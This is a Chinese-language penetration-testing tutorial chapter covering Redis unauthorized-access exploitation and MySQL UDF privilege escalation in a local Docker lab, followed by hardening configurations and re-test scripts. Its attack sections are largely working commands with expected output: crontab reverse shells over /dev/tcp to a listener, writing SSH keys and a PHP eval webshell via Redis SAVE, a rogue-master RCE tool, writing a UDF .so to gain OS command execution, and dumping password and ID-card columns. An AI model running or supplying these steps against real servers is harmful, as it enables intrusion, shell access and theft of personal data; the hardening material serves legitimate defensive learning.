Kafka 9092 消费/生产消息,数据泄露 + 投毒 ★★★
RabbitMQ 15672 管理后台默认 guest/guest,拖走消息 ★★★
Zookeeper 2181 四字命令探测、部分版本 RCE ★★★
Docker Remote API 2375 直接接管宿主机(★ 最狠) ★★★★★

7.1 Redis 未授权:四步拿下服务器

Redis 未授权是内网渗透里“性价比最高”的漏洞, 因为 Redis 有写文件的能力,而写文件 = 写 crontab / SSH key / webshell = GetShell。

7.1.1 三个名词

名词 白话解释
Redis 一个内存键值数据库,常用作缓存。数据存在内存里,所以快
RDB / AOF Redis 的两种持久化方式:RDB 是定期把内存快照存成文件(.rdb),AOF 是把每条写命令追加到日志。漏洞利用靠的就是“我们能指定这个文件的路径和名字”
RESP Redis 的通信协议(REdis Serialization Protocol)。它是纯文本的,所以能用 gopher:// 构造(第五章 5.2 讲过)

7.1.2 搭建靶场

# 起一个【故意不设密码】的 Redis(只监听 127.0.0.1!)
docker run -d --name redis-vuln \
  --network lab-net \
  -p 127.0.0.1:6379:6379 \
  redis:6.2-alpine

# 确认
docker ps | grep redis-vuln
# 预期:
# xxxxx   redis:6.2-alpine   "docker-entrypoint.s…"   Up 3 seconds   127.0.0.1:6379->6379/tcp

# 测试:无密码直接连上并执行命令
redis-cli -h 127.0.0.1 -p 6379 info server
# ★ 注意:没有任何 -a 密码参数,却能拿到信息
# 预期输出(节选):
# redis_version:6.2.6
# os:Linux 5.10.0 x86_64
# process_id:1
# config_file:

如果本地没装 redis-cli:

# 用 docker 里的
docker exec -it redis-vuln redis-cli info server

# 或者用 nc 直接发 RESP 协议(理解原理用)
printf 'PING\r\n' | nc 127.0.0.1 6379
# 预期:+PONG

7.1.3 第一步:探测(攻击者视角)

# 探测 1:能不能无密码连上
redis-cli -h 127.0.0.1 -p 6379 ping
# 预期:PONG            ← 说明未授权
# 如果返回:(error) NOAUTH Authentication required.  ← 有密码,没戏

# 探测 2:拿详细信息(os、版本、路径)
redis-cli -h 127.0.0.1 -p 6379 info
# 重点关注:
#   redis_version:6.2.6
#   os:Linux ...        ← 确认是 Linux(Windows 上利用方式不同)
#   config_file:/etc/redis/redis.conf    ← 配置文件路径

# 探测 3:看运行用户(★ 决定能不能写 crontab)
redis-cli -h 127.0.0.1 -p 6379 config get dir
# 预期:1) "dir"  2) "/data"
redis-cli -h 127.0.0.1 -p 6379 config get dbfilename
# 预期:1) "dbfilename"  2) "dump.rdb"

# 探测 4:看能执行哪些危险命令(新版 Redis 可能禁用了 CONFIG)
redis-cli -h 127.0.0.1 -p 6379 config set dir /tmp
# 预期:OK              ← 说明 CONFIG 命令可用(★ 能用最经典的攻击方式)
# 如果返回:(error) ERR unknown command 'CONFIG'  ← 被 rename 禁用了,要用主从复制方式

# 探测 5:确认是否为 root 运行(决定危害程度)
redis-cli -h 127.0.0.1 -p 6379 config set dir /etc
redis-cli -h 127.0.0.1 -p 6379 config set dbfilename test_write
redis-cli -h 127.0.0.1 -p 6379 set x "test"
redis-cli -h 127.0.0.1 -p 6379 save
# 预期:OK(如果是非 root 用户,会报权限错误)
# 清理
redis-cli -h 127.0.0.1 -p 6379 config set dir /data
redis-cli -h 127.0.0.1 -p 6379 del x

7.1.4 第二步:写 crontab 反弹 Shell(经典四步法)

原理:Redis 可以把自己内存里的数据保存成文件,而文件路径和文件名可以由我们指定。 于是我们:① 把“反弹 shell 命令”作为数据存进去 ② 指定保存到 /var/spool/cron/crontabs/root ③ Redis 保存时就会用我们的数据覆盖这个 crontab 文件 ④ cron 定时执行 → 反弹 Shell。

┌────────────────────────────────────────────────────────────┐
│  Redis 的正常功能:把内存数据存成 .rdb 文件                 │
│      SET key value  →  SAVE  →  /data/dump.rdb             │
│                                    ↑ 路径和文件名可配置     │
│                                                            │
│  攻击者的改造:                                             │
│      SET key "\n\n*/1 * * * * bash -i >& /dev/tcp/...\n\n" │
│      CONFIG SET dir /var/spool/cron/crontabs/              │
│      CONFIG SET dbfilename root                            │
│      SAVE                                                   │
│                                                            │
│  结果:/var/spool/cron/crontabs/root 被我们的内容覆盖       │
│       → cron 每分钟执行一次 → 反弹 Shell                    │
└────────────────────────────────────────────────────────────┘

完整命令(每一步都有预期输出):

RHOST=127.0.0.1
RPORT=6379
LHOST=host.docker.internal      # 攻击机 IP(容器能访问到的地址)
LPORT=8888

# 攻击机开监听(终端 1,先开着)
nc -lvnp 8888

# ===== 终端 2:发起攻击 =====

# ① 清空旧数据(避免干扰)
redis-cli -h $RHOST -p $RPORT flushall
# 预期:OK

# ② 写入反弹 shell 命令(★ 前后加换行,避免和 Redis 自己的二进制数据混淆)
echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\n\n" | \
  redis-cli -h $RHOST -p $RPORT -x set crackit
# 预期:OK
# -x 参数的作用:从标准输入读取内容作为 value

# ③ 改持久化路径为 cron 目录
redis-cli -h $RHOST -p $RPORT config set dir /var/spool/cron/crontabs/
# 预期:OK

# ④ 改文件名为 root(Debian/Ubuntu 的 cron 路径)
redis-cli -h $RHOST -p $RPORT config set dbfilename root
# 预期:OK

# ⑤ 保存(★ 这一步真正写文件)
redis-cli -h $RHOST -p $RPORT save
# 预期:OK

# ⑥ 验证文件写成功了
docker exec redis-vuln cat /var/spool/cron/crontabs/root
# 预期输出(前面是 Redis 的二进制头,后面能看到我们写入的内容):
# REDIS0009ú      redis-ver6.2.6ú
# ...
#
#
# */1 * * * * /bin/bash -i >& /dev/tcp/host.docker.internal/8888 0>&1
#
#

等待最多 1 分钟(cron 每分钟执行一次),终端 1 应该出现:

connect to [172.17.0.1] from (UNKNOWN) [172.20.0.4] 41256
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@a1b2c3d4:/data# whoami
root

⚠️ 为什么在 Docker 里经常不成功?(重要,很多人卡在这里)

三个常见原因: ① 容器里没装 cron,写了文件也没人执行 → 验证方法:docker exec redis-vuln which cron ② Redis 不是 root 运行(官方镜像从某版本起改为 redis 用户)→ 写 /var/spool/cron/ 会权限拒绝 ③ 容器的 cron 路径不同(Alpine 是 /var/spool/cron/crontabs/,CentOS 是 /var/spool/cron/)

如果 crontab 不通,不要慌——这说明防御起效了(非 root 运行是非常有效的缓解措施)。 换下面 7.1.5 的“写 SSH key”或 7.1.6 的“写 webshell”方式, 或者用 7.1.7 的主从复制 RCE(这种方式绕过了大部分限制)。

面试可以这么讲: “我在复现时发现官方 Redis 镜像以非 root 运行,crontab 方式写不进去。 这恰好印证了一个观点:Redis 未授权的严重程度 = 能写文件 × root 运行 × 公网可达, 官方镜像已经主动断了’root 运行’这一环,所以危害被大幅降低了。 这也说明用非 root 用户跑服务是一项非常有效的纵深防御措施。”

7.1.5 第三步:写 SSH authorized_keys

原理:把攻击者的公钥写到目标机器的 ~/.ssh/authorized_keys 里, 攻击者就能用自己的私钥直接 SSH 登录,不需要密码。

# ① 本地生成密钥对(如果还没有)
ssh-keygen -t rsa -b 4096 -f /tmp/id_rsa_lab -N ""
# 预期:
# Generating public/private rsa key pair.
# Your identification has been saved in /tmp/id_rsa_lab
# Your public key has been saved in /tmp/id_rsa_lab.pub

# ② 给公钥前后加换行(避免破坏文件格式)
(echo -e "\n\n"; cat /tmp/id_rsa_lab.pub; echo -e "\n\n") > /tmp/pub.txt
cat /tmp/pub.txt

# ③ 写进 Redis
cat /tmp/pub.txt | redis-cli -h 127.0.0.1 -p 6379 -x set sshkey
# 预期:OK

# ④ 指定保存路径为 /root/.ssh/authorized_keys
#    注意:dir 是目录,dbfilename 是文件名
redis-cli -h 127.0.0.1 -p 6379 config set dir /root/.ssh/
# 预期:OK
redis-cli -h 127.0.0.1 -p 6379 config set dbfilename authorized_keys
# 预期:OK

# ⑤ 保存
redis-cli -h 127.0.0.1 -p 6379 save
# 预期:OK

# ⑥ 验证
docker exec redis-vuln ls -la /root/.ssh/authorized_keys
# 预期:文件存在

# ⑦ 尝试 SSH 登录(如果容器开了 SSH)
ssh -i /tmp/id_rsa_lab root@127.0.0.1

这种方式的优势:不需要等 cron,写进去立刻能用。 劣势:目标必须开了 SSH 服务且允许 root 登录(PermitRootLogin yes)。 生产环境的 Redis 容器通常没有 SSH 服务,所以实战中用得比 crontab 少。

7.1.6 第四步:写 Webshell(需要目标有 Web 服务)

# 前提:目标机器上同时跑了 Redis 和 Web 服务(如 PHP/Java)
# 思路:把一句话木马写到 Web 目录

# PHP 一句话木马
echo -e "\n\n<?php @eval(\$_POST['cmd']); ?>\n\n" | \
  redis-cli -h 127.0.0.1 -p 6379 -x set webshell

redis-cli -h 127.0.0.1 -p 6379 config set dir /var/www/html/
redis-cli -h 127.0.0.1 -p 6379 config set dbfilename shell.php
redis-cli -h 127.0.0.1 -p 6379 save

# 用中国菜刀/蚁剑连接,或者 curl 直接执行
curl -X POST "http://target/shell.php" -d "cmd=system('whoami');"

名词:Webshell / 一句话木马 Webshell = 一个放在 Web 目录下的恶意脚本文件,攻击者通过 HTTP 访问它来远程执行命令。 一句话木马 = 只有一行代码的 webshell,比如 PHP 的 <?php @eval($_POST['cmd']); ?>。

生活类比:你家的墙上被人贴了一张纸,上面写着“看到这张纸的人,请按我说的做“。 任何一个路过的人(HTTP 请求)都能指挥屋里的东西。

为什么叫“小马”和“大马”:一句话木马是“小马”(功能简单,就一行), 连上之后往往会再下载一个功能齐全的“大马“(文件管理、数据库管理、命令执行全套)。

7.1.7 进阶:主从复制 RCE(绕过 CONFIG 禁用)

为什么需要这个方式?因为现在很多 Redis 做了加固:

# 加固后的 redis.conf 会禁用 CONFIG 命令
rename-command CONFIG ""
# 或者
rename-command CONFIG "a2b3c4d5-random-string"

一旦 CONFIG 不能用了,前面三种方式全部失效(因为它们都依赖 CONFIG SET dir)。

主从复制 RCE 的原理:

Redis 主从复制的正常流程:
    主库(Master)  ──── 全量同步 RDB 文件 ────▶  从库(Slave)
                                                从库接收并【加载】这个 RDB 文件

攻击者的改造:
    攻击者伪造一个"恶意主库"
         │
         ├─① 让目标 Redis 执行 SLAVEOF 攻击者IP 端口
         │     → 目标变成"从库",乖乖来同步
         │
         ├─② 攻击者(伪装成主库)发送一个【恶意 .so 模块文件】
         │     → 目标把它当 RDB 接收并存下来
         │
         ├─③ 攻击者发送 MODULE LOAD ./evil.so
         │     → 目标【加载】这个模块
         │
         └─④ 加载模块时会执行模块里的初始化代码 → 💥 RCE

动手(用现成工具):

# 下载 redis-rogue-server(一个 Python 工具,自动完成上面四步)
cd ~/tools
git clone https://github.com/n0b0dyCN/redis-rogue-server.git
cd redis-rogue-server

# 需要 Python 依赖
pip install -r requirements.txt

# 执行(方式 1:交互式命令执行)
python3 redis-rogue-server.py --rhost 127.0.0.1 --rport 6379 --lhost host.docker.internal --lport 8888

# 预期输出:
# [*] Checking target...
# [+] Target is vulnerable (Redis 6.2.6, no auth)
# [*] Setting up rogue server on port 21000...
# [*] Sending SLAVEOF command...
# [+] Target is now a slave of our rogue server
# [*] Full resync, sending payload...
# [+] Payload sent, module loaded
# [+] Got shell!

# 反弹 shell(方式 2)
python3 redis-rogue-server.py --rhost 127.0.0.1 --rport 6379 \
  --lhost host.docker.internal --lport 9999 --exploit-mode reverse-shell

三种方式对比表(★ 面试必背):

方式 依赖条件 是否需要 CONFIG 是否落磁盘 是否需要 root 成功率
写 crontab 有 cron 服务 ✅ 需要 ✅ 需要 ✅ 需要 中
写 SSH key 开了 SSH + 允许 root ✅ 需要 ✅ 需要 ✅ 需要 低
写 webshell 同机有 Web 服务 ✅ 需要 ✅ 需要 ⚠️ 取决于目录权限 低
主从复制 RCE Redis 4.x/5.x ❌ 不需要 ✅ 需要 ❌ 不需要 高

注意:主从复制方式虽然更强,但 Redis 6.0+ 默认不再支持从库加载模块(enable-module-command 相关限制), 所以实战中 Redis 4.x / 5.x 成功率最高。 这也是为什么“升级 Redis 版本“本身就是一种有效的加固手段。

7.1.8 Redis 全套加固(★ 生产环境照抄)

# ============ redis.conf 安全配置清单 ============

# 【1】设置强密码(★ 最重要的一条)
requirepass "Xk9mP2vQ7nR4tY8wZ1aB6cEdF3gH5jK7"
# 生成方式:openssl rand -base64 24
# ⚠️ 密码不要用常见单词,Redis 的暴力破解速度极快(每秒能试十几万次)

# 【2】只监听内网,不要 0.0.0.0
bind 127.0.0.1 172.20.0.10
# ⚠️ 如果一定要绑 0.0.0.0,必须配合下面【3】的防火墙

# 【3】开启保护模式(没有密码 + 没有 bind 时,拒绝外部连接)
protected-mode yes

# 【4】改默认端口(能挡住 90% 的自动化扫描)
port 16379

# 【5】禁用/重命名危险命令(★ 纵深防御的关键)
rename-command FLUSHALL ""
rename-command FLUSHDB  ""
rename-command CONFIG   "b7d3f9a1-random-8x7y"
rename-command EVAL     ""
rename-command EVALSHA  ""
rename-command MODULE   ""        # ★ 防主从复制 RCE
rename-command SLAVEOF  ""        # ★ 防止被拉成从库
rename-command REPLICAOF ""
# ⚠️ 注意:rename 成空字符串 = 完全禁用
# ⚠️ 注意:如果用了 Redis 主从/哨兵,不要禁用 SLAVEOF,改成随机字符串

# 【6】以非 root 用户运行(★ 就算被打,也拿不到 root)
# 在 systemd 或 docker-compose 里配置
# user: "999:999"

# 【7】限制数据目录权限
# chown redis:redis /data && chmod 700 /data

# 【8】开启 ACL(Redis 6.0+,比单密码更细粒度)
# 创建一个只读用户给业务用,管理操作用另一个用户
# ACL SETUSER appuser on >AppPass123 ~cache:* +get +set +del
# ACL SETUSER readonly on >RoPass456 ~* +get

# 【9】禁用 Lua 脚本的调试/写文件能力(Redis 7+)
# 默认已较安全,老版本注意 CVE-2022-0543(Lua 沙箱逃逸)

# 【10】开启日志 + 审计(出事后能溯源)
logfile "/var/log/redis/redis-server.log"
loglevel notice

Docker Compose 加固版:

version: '3'
services:
  redis:
    image: redis:7.2-alpine
    container_name: redis-secure
    restart: unless-stopped
    command: >
      redis-server
      --requirepass ${REDIS_PASSWORD}
      --rename-command CONFIG ""
      --rename-command MODULE ""
      --rename-command SLAVEOF ""
      --rename-command FLUSHALL ""
      --maxmemory 512mb
      --maxmemory-policy allkeys-lru
    ports:
      - "127.0.0.1:6379:6379"     # ★ 只监听本地
      # ❌ 绝不写 - "6379:6379"(这等于 0.0.0.0)
    volumes:
      - redis_data:/data
    user: "999:999"                # ★ 非 root 运行
    read_only: true                # ★ 根文件系统只读
    tmpfs:
      - /tmp
    cap_drop:
      - ALL                        # ★ 去掉所有 Linux capabilities
    security_opt:
      - no-new-privileges:true
    networks:
      - lab-net

volumes:
  redis_data:
networks:
  lab-net:

7.1.9 复测脚本

cat > /tmp/verify_redis.sh <<'SCRIPT'
#!/bin/bash
# Redis 安全加固复测(共 12 项)
RHOST="${1:-127.0.0.1}"
RPORT="${2:-6379}"
PASS="${3:-}"
AUTH=""
[ -n "$PASS" ] && AUTH="-a $PASS --no-auth-warning"

pass=0; fail=0
ok()   { echo "  ✅ 通过:$1"; pass=$((pass+1)); }
bad()  { echo "  ❌ 未通过:$1 —— $2"; fail=$((fail+1)); }

echo "=== Redis 加固复测(共 12 项)==="
echo "目标:$RHOST:$RPORT"
echo ""

# 1. 未授权访问(无密码不能连)
R=$(redis-cli -h $RHOST -p $RPORT ping 2>&1)
if echo "$R" | grep -q "NOAUTH\|denied\|error"; then
  ok "1. 无密码连接被拒绝"
else
  bad "1. 无密码可直接连接(★ 最严重)" "返回:$R"
fi

# 2~6:危险命令应被禁用
for cmd in "config get dir" "flushall" "eval \"return 1\" 0" "module list" "slaveof no one"; do
  R=$(redis-cli -h $RHOST -p $RPORT $AUTH $cmd 2>&1)
  short=$(echo "$cmd" | awk '{print $1}')
  if echo "$R" | grep -qi "unknown command\|ERR unknown\|disabled"; then
    ok "  $short 命令已禁用"
  else
    bad "  $short 命令仍可用" "返回:${R:0:80}"
  fi
done

# 7. 密码强度(如果是弱密码会提示)
if [ -n "$PASS" ]; then
  if [ ${#PASS} -lt 16 ]; then
    bad "7. 密码长度 < 16 位" "当前 ${#PASS} 位,Redis 可被高速暴力破解"
  else
    ok "7. 密码长度 ${#PASS} 位,符合要求"
  fi
fi

# 8. 端口是否只监听本地
echo "  [8] 端口暴露检查(在 Redis 服务器上执行):"
echo "      ss -lntp | grep redis     # 应显示 127.0.0.1:6379,不应有 0.0.0.0:6379"

# 9. 运行用户
if command -v docker >/dev/null 2>&1; then
  U=$(docker exec redis-secure id -u 2>/dev/null)
  if [ -n "$U" ] && [ "$U" != "0" ]; then
    ok "9. 以非 root 运行(uid=$U)"
  elif [ -n "$U" ]; then
    bad "9. 以 root 运行" "uid=0"
  else
    echo "  ℹ️  [9] 容器 redis-secure 不存在,跳过"
  fi
fi

# 10. 数据目录权限
echo "  [10] 目录权限检查:ls -ld /data    # 应为 700,属主 redis"

# 11. 版本检查(老版本有已知 CVE)
V=$(redis-cli -h $RHOST -p $RPORT $AUTH info server 2>/dev/null | grep redis_version | tr -d '\r' | cut -d: -f2)
echo "  [11] Redis 版本:$V"
case "$V" in
  7.*|6.2*) ok "11. 版本较新($V)" ;;
  *) bad "11. 版本过旧($V)" "建议升级到 7.2+" ;;
esac

# 12. 业务功能仍正常(不能修过头)
if [ -n "$AUTH" ]; then
  R=$(redis-cli -h $RHOST -p $RPORT $AUTH set __verify_test 1 2>&1)
  if echo "$R" | grep -q "OK"; then
    redis-cli -h $RHOST -p $RPORT $AUTH del __verify_test > /dev/null
    ok "12. 业务读写功能正常"
  else
    bad "12. 业务读写异常" "返回:$R"
  fi
fi

echo ""
echo "结果:通过 $pass,未通过 $fail"
[ $fail -eq 0 ] && echo "🎉 Redis 加固验证通过" || echo "⚠️  还有 $fail 项需要处理"
SCRIPT
chmod +x /tmp/verify_redis.sh
# 用法:/tmp/verify_redis.sh 127.0.0.1 6379 '你的密码'

7.1.10 面试怎么讲(45 秒口述版)

“Redis 未授权是内网最常见、也最容易被拿下服务器的问题。

原理:Redis 默认没有密码,如果配置时把 bind 改成了 0.0.0.0 却没设密码, 任何人都能 redis-cli 连上去。而 Redis 有写文件的能力—— CONFIG SET dir 能指定保存路径,SAVE 能把内存数据写成文件。 于是攻击者把反弹 shell 命令当数据存进去,把保存路径改成 /var/spool/cron/crontabs/、 文件名改成 root,一 SAVE,crontab 就被覆盖了,cron 执行 → 反弹 Shell。

我复现过,还发现官方镜像以非 root 运行,crontab 写不进去—— 这恰好印证了危害 = 能写文件 × root 运行 × 公网可达,断了任何一环都能大幅降低风险。

加固我们做了六件事:设强密码、bind 只监听内网、改默认端口(挡掉 90% 自动化扫描)、 重命名/禁用 CONFIG 和 MODULE 命令、非 root 用户运行、K8s 里用 NetworkPolicy 限制来源。 另外如果 CONFIG 被禁用了,攻击者会改用主从复制 RCE, 所以我们把 SLAVEOF/MODULE 也一起禁了——只禁 CONFIG 是不够的。“


7.2 MySQL 提权:从拖库到 UDF GetShell

这一节讲两件事:① 拿到数据库权限后能偷什么;② 怎么从数据库权限升级到服务器权限(UDF 提权)。

7.2.1 先说清楚“数据库权限 ≠ 服务器权限”

┌──────────────────────────────────────────────────────┐
│  层次 1:能执行 SQL(拖库)                            │
│    SELECT * FROM users;                               │
│    → 拿到用户数据(手机号、密码哈希、身份证)           │
│                                                       │
│  层次 2:能写文件(需要 FILE 权限)                     │
│    SELECT '<?php eval($_POST[c]);?>'                  │
│    INTO OUTFILE '/var/www/html/shell.php';            │
│    → 写 Webshell(第二章讲过)                         │
│                                                       │
│  层次 3:能执行操作系统命令(UDF 提权)                 │
│    CREATE FUNCTION sys_exec RETURNS INT               │
│      SONAME 'udf.so';                                 │
│    SELECT sys_exec('whoami');                         │
│    → ★ 数据库用户变成了操作系统用户 = GetShell          │
└──────────────────────────────────────────────────────┘

7.2.2 名词:UDF 是什么

名词 白话解释
UDF User Defined Function,用户自定义函数。MySQL 允许你用 C 语言写一个函数,编译成 .so 文件,然后加载进 MySQL,之后就能在 SQL 里调用它(就像调用 CONCAT() 一样)
plugin_dir MySQL 存放插件(包括 UDF 的 .so 文件)的目录。UDF 提权的前提之一是能往这个目录写文件
secure_file_priv MySQL 的一个安全开关,限制 LOAD_FILE() 和 INTO OUTFILE 能操作的目录。如果它非空,UDF 提权基本就废了

UDF 提权的本质(一句话): 把一段“能执行系统命令的机器码”伪装成 MySQL 插件加载进去。 因为 MySQL 进程本身是以某个系统用户(通常是 mysql)运行的, 所以这段代码执行时拥有和 MySQL 一样的系统权限。

7.2.3 动手:UDF 提权完整复现

环境准备(起一个“配置不当”的 MySQL):

docker run -d --name mysql-vuln \
  --network lab-net \
  -p 127.0.0.1:3306:3306 \
  -e MYSQL_ROOT_PASSWORD=root123 \
  -e MYSQL_ROOT_HOST=% \
  mysql:5.7 \
  --secure_file_priv=""        # ★ 故意关掉这个保护(生产环境绝不能这样)

第一步:探测条件是否满足

mysql -h 127.0.0.1 -P 3306 -uroot -proot123 -e "
  -- ① 当前用户(必须是 root 或有 FILE 权限)
  SELECT user(), current_user();

  -- ② 有没有 FILE 权限(★ 关键)
  SHOW GRANTS;

  -- ③ secure_file_priv 的值(★ 必须为空,否则无法写文件)
  SHOW VARIABLES LIKE 'secure_file_priv';

  -- ④ 插件目录(要知道往哪写)
  SHOW VARIABLES LIKE 'plugin_dir';

  -- ⑤ 系统版本和架构(决定用哪个 .so)
  SELECT @@version_compile_os, @@version_compile_machine;
"

预期输出(条件满足的样子):

+----------------+----------------+
| user()         | current_user() |
+----------------+----------------+
| root@172.20.0.1| root@%         |
+----------------+----------------+
+-------------------------------------------+
| Grants for root@%                         |
+-------------------------------------------+
| GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' |   ← ★ 有 FILE 权限
+-------------------------------------------+
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |                  ← ★ 空 = 可以在任意目录写文件
+------------------+-------+
+---------------+--------------------------+
| Variable_name | Value                    |
+---------------+--------------------------+
| plugin_dir    | /usr/lib/mysql/plugin/   |  ← ★ 目标写入目录
+---------------+--------------------------+
+----------------------+------------------------+
| @@version_compile_os | @@version_compile_machine |
+----------------------+------------------------+
| Linux                | x86_64                 |   ← 需要 Linux 64 位的 .so
+----------------------+------------------------+

第二步:写 UDF 的 .so 文件

UDF 的 .so 需要自己编译,实战中一般用现成的(sqlmap 自带)。

# sqlmap 自带了编译好的 UDF(支持 Linux/Windows,32/64 位)
ls /usr/share/sqlmap/data/udf/mysql/linux/64/
# 预期:
# lib_mysqludf_sys.so

# 或者从这里找
find ~/tools/sqlmap -name "*.so" 2>/dev/null
# 预期:
# ~/tools/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so

关键:MySQL 5.1+ 要求 UDF 的 .so 里必须包含 16 字节的元数据,否则加载会报: ERROR 1126 (HY000): Can't open shared library 'udf.so' (errno: 0 /malformed...)。 sqlmap 自带的文件已经处理过了。

第三步:把 .so 文件写进 plugin_dir

# 方法:把 .so 转成十六进制,用 MySQL 的 INTO DUMPFILE 写进去
# (因为 .so 是二进制文件,不能用 INTO OUTFILE,它会加转义)

python3 - <<'PY'
# 生成把 .so 写入 MySQL 的 SQL 语句
so_path = "/usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so"
with open(so_path, "rb") as f:
    data = f.read()
hexstr = data.hex()
print(f"SELECT 0x{hexstr} INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';")
PY

生成的 SQL 会非常长(几十 KB),保存成文件执行:

python3 > /tmp/write_udf.sql - <<'PY'
so_path = "/usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so"
with open(so_path, "rb") as f:
    data = f.read()
print(f"SELECT 0x{data.hex()} INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';")
PY

wc -c /tmp/write_udf.sql     # 预期:~30KB

# 执行
mysql -h 127.0.0.1 -P 3306 -uroot -proot123 < /tmp/write_udf.sql
# 预期:无报错(Query OK)

# 验证文件写进去了
docker exec mysql-vuln ls -la /usr/lib/mysql/plugin/udf.so
# 预期:
# -rw-rw---- 1 mysql mysql 16000 Sep  4 04:10 /usr/lib/mysql/plugin/udf.so

第四步:创建函数并执行命令(★ 关键时刻)

mysql -h 127.0.0.1 -P 3306 -uroot -proot123 -e "
  -- ① 创建 UDF 函数(把这个 .so 里的 sys_exec 注册成 MySQL 函数)
  CREATE FUNCTION sys_exec RETURNS INT SONAME 'udf.so';
  -- 预期:Query OK, 0 rows affected

  -- ② 也注册一个能回显结果的
  CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';
  -- 预期:Query OK

  -- ③ ★★ 执行操作系统命令
  SELECT sys_eval('whoami');
"

预期输出:

+--------+
| mysql  |
+--------+
| mysql  |     ← ★ 注意!这里显示的是 mysql,不是 root
+--------+

这个细节很重要:MySQL 进程以 mysql 用户运行,所以你拿到的权限也是 mysql,不是 root。 想拿到 root 还需要本地提权(利用内核漏洞、SUID 程序、sudo 配置不当等)—— 那是另一个领域,本文不展开。

面试要主动提这一点,说明你理解“权限是有层次的“。

继续验证能干更多事:

mysql -h 127.0.0.1 -P 3306 -uroot -proot123 -e "
  -- 看系统信息
  SELECT sys_eval('uname -a');

  -- 看当前用户能读什么
  SELECT sys_eval('cat /etc/passwd | head -5');

  -- 反弹 shell(★ GetShell)
  SELECT sys_exec('bash -i >& /dev/tcp/host.docker.internal/7777 0>&1');
"
# 攻击机 nc -lvnp 7777 等待

7.2.4 拖库:拿到数据库权限后能偷什么

(这一节不需要 UDF,有普通查询权限就行。)

mysql -h 127.0.0.1 -P 3306 -uroot -proot123 -e "
  -- ① 列出所有库
  SHOW DATABASES;

  -- ② 列出所有表(找敏感表)
  SELECT table_schema, table_name, table_rows
  FROM information_schema.tables
  WHERE table_schema NOT IN ('mysql','information_schema','performance_schema','sys');

  -- ③ ★ 找包含敏感字段的表(密码/手机号/身份证)
  SELECT table_schema, table_name, column_name
  FROM information_schema.columns
  WHERE column_name REGEXP 'pass|pwd|secret|token|key|phone|mobile|idcard|id_card|salary';

  -- ④ 拖数据
  SELECT id, username, password, phone, id_card FROM app_db.users LIMIT 100;
"

拿到密码哈希后怎么破(第二章讲过,这里复习):

# 保存哈希
echo 'e10adc3949ba59abbe56e057f20f883e' > /tmp/hash.txt   # 123456 的 MD5

# 用 hashcat 破解
hashcat -m 0 -a 0 /tmp/hash.txt /usr/share/wordlists/rockyou.txt --force

# 或者在线查(彩虹表)
# cmd5.com / somd5.com

7.2.5 修复:堵住每一层

-- 【修复 1】收回 FILE 权限(★ 最关键,直接断了 UDF 提权)
REVOKE FILE ON *.* FROM 'appuser'@'%';
-- 检查谁还有 FILE 权限
SELECT user, host, file_priv FROM mysql.user WHERE file_priv = 'Y';
-- 预期:只有真正需要的人

-- 【修复 2】限制 secure_file_priv(★ 纵深防御)
-- 在 my.cnf 里配置,然后重启
-- secure_file_priv = /var/lib/mysql-files/
-- ★ 设成非空目录后,INTO OUTFILE 只能写这一个目录,plugin_dir 就写不了了

-- 【修复 3】plugin_dir 目录不可写
-- chmod 550 /usr/lib/mysql/plugin/ && chown root:root /usr/lib/mysql/plugin/

-- 【修复 4】业务账号不要用 root
CREATE USER 'appuser'@'%' IDENTIFIED BY 'StrongPass123!';
GRANT SELECT, INSERT, UPDATE, DELETE ON appdb.* TO 'appuser'@'%';
-- ★ 绝不给 ALL PRIVILEGES ON *.*

-- 【修复 5】限制来源 IP
GRANT ... TO 'appuser'@'172.20.0.%';      -- 只允许内网段
-- 或者用防火墙:iptables -A INPUT -p tcp --dport 3306 ! -s 172.20.0.0/16 -j DROP

-- 【修复 6】删除已有的 UDF(排查是否已被入侵)
SELECT name, dl FROM mysql.func;
-- 预期:空。如果看到 sys_exec / sys_eval,说明已经被入侵了!
-- 清理:DROP FUNCTION IF EXISTS sys_exec; DROP FUNCTION IF EXISTS sys_eval;

my.cnf 安全配置:

[mysqld]
# 【1】限制文件读写目录(★ 最重要)
secure_file_priv = /var/lib/mysql-files/

# 【2】禁用 local_infile(防止读客户端文件)
local_infile = 0

# 【3】只监听内网
bind-address = 172.20.0.10

# 【4】跳过符号链接(防止通过软链接读其他目录文件)
skip-symbolic-links

# 【5】开启审计日志(事后溯源)
general_log = 0
log_error = /var/log/mysql/error.log
# 企业版可用 audit_log 插件;社区版可用 MariaDB 的 server_audit 或 mcafee 的审计插件

# 【6】密码策略(MySQL 8)
default_authentication_plugin = caching_sha2_password
# validate_password.policy = STRONG
# validate_password.length = 12

# 【7】限制连接数(防 DoS)
max_connections = 200
max_user_connections = 50

7.2.6 复测脚本

cat > /tmp/verify_mysql.sh <<'SCRIPT'
#!/bin/bash
# MySQL 安全加固复测(共 10 项)
MH="${1:-127.0.0.1}"; MP="${2:-3306}"; MU="${3:-root}"; MPW="${4:-}"
CONN="mysql -h $MH -P $MP -u $MU -p$MPW -N -B -e"

pass=0; fail=0
ok()  { echo "  ✅ 通过:$1"; pass=$((pass+1)); }
bad() { echo "  ❌ 未通过:$1 —— $2"; fail=$((fail+1)); }

echo "=== MySQL 加固复测(共 10 项)==="

# 1. secure_file_priv 应非空
V=$($CONN "SHOW VARIABLES LIKE 'secure_file_priv';" 2>/dev/null | awk '{print $2}')
if [ -n "$V" ] && [ "$V" != "NULL" ]; then ok "1. secure_file_priv = $V"; else bad "1. secure_file_priv 为空" "可任意目录写文件,UDF 提权条件成立"; fi

# 2. 检查 FILE 权限授予范围
V=$($CONN "SELECT COUNT(*) FROM mysql.user WHERE file_priv='Y';" 2>/dev/null)
if [ "$V" = "0" ]; then ok "2. 无账号拥有 FILE 权限"; else bad "2. 有 $V 个账号拥有 FILE 权限" "执行:REVOKE FILE ON *.* FROM 'user'@'host';"; fi

# 3. 检查是否已被植入 UDF(入侵痕迹)
V=$($CONN "SELECT COUNT(*) FROM mysql.func;" 2>/dev/null)
